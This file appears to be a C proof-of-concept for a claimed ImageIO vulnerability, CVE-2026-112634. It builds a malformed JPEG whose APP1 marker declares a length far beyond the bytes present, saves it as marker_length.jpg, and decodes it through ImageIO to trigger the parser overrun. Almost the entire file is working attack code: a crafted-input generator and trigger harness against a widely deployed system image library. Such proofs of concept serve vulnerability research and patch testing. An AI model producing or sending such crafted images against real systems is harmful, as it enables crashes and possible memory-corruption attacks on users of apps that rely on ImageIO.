// iio.jpeg.marker · ImageIO · _JPEGFile::processData · CVE-2026-112634
// JPEG marker length beyond the bytes present
// C twin of the Swift POC: builds the marker-overrun JPEG and decodes it through ImageIO.
// Build: clang -O2 -o cve-2026-112634 CVE-2026-112634.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run:   ./cve-2026-112634 [declared] [actual]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
    if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }

// ── seed construction (from Cinder27 Sources: JPEGPayload.markerLength) ──
static buf jpeg_marker_length(int declared, int actual) {
    buf out = {0};
    bcat(&out, "\xff\xd8", 2);            // SOI
    bcat(&out, "\xff\xe1", 2);            // APP1
    bput(&out, (declared >> 8) & 0xff); bput(&out, declared & 0xff);
    int body = actual - 2 > 0 ? actual - 2 : 0;
    brep(&out, 0x41, body);
    bcat(&out, "\xff\xd9", 2);            // EOI
    return out;
}

// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>

static int decode_image(const buf *img, const char **detail) {
    CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
    if (!cf) { *detail = "CFDataCreate failed"; return -1; }
    CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
    CFRelease(cf);
    if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
    size_t frames = CGImageSourceGetCount(src);
    CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
    static char r[256];
    if (cg) {
        snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
                 (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
        CGImageRelease(cg);
    } else {
        snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
    }
    CFRelease(src);
    *detail = r;
    return cg ? 0 : -1;
}

int main(int argc, char **argv) {
    int declared = argc > 1 ? (int)strtol(argv[1], NULL, 0) : 0xFFEE;
    int actual = argc > 2 ? atoi(argv[2]) : 30;

    buf jpeg = jpeg_marker_length(declared, actual);
    FILE *f = fopen("marker_length.jpg", "wb");
    if (f) { fwrite(jpeg.d, 1, jpeg.n, f); fclose(f); }

    const char *detail = NULL;
    int rc = decode_image(&jpeg, &detail);
    printf("CVE-2026-112634 · APP1 declares 0x%x, file carries %d B · %s\n", declared, actual, detail ? detail : "?");
    printf("seed: marker_length.jpg (%zu B) · exit code %d\n", jpeg.n, rc);
    bfree(&jpeg);
    return rc == 0 ? 0 : 1;
}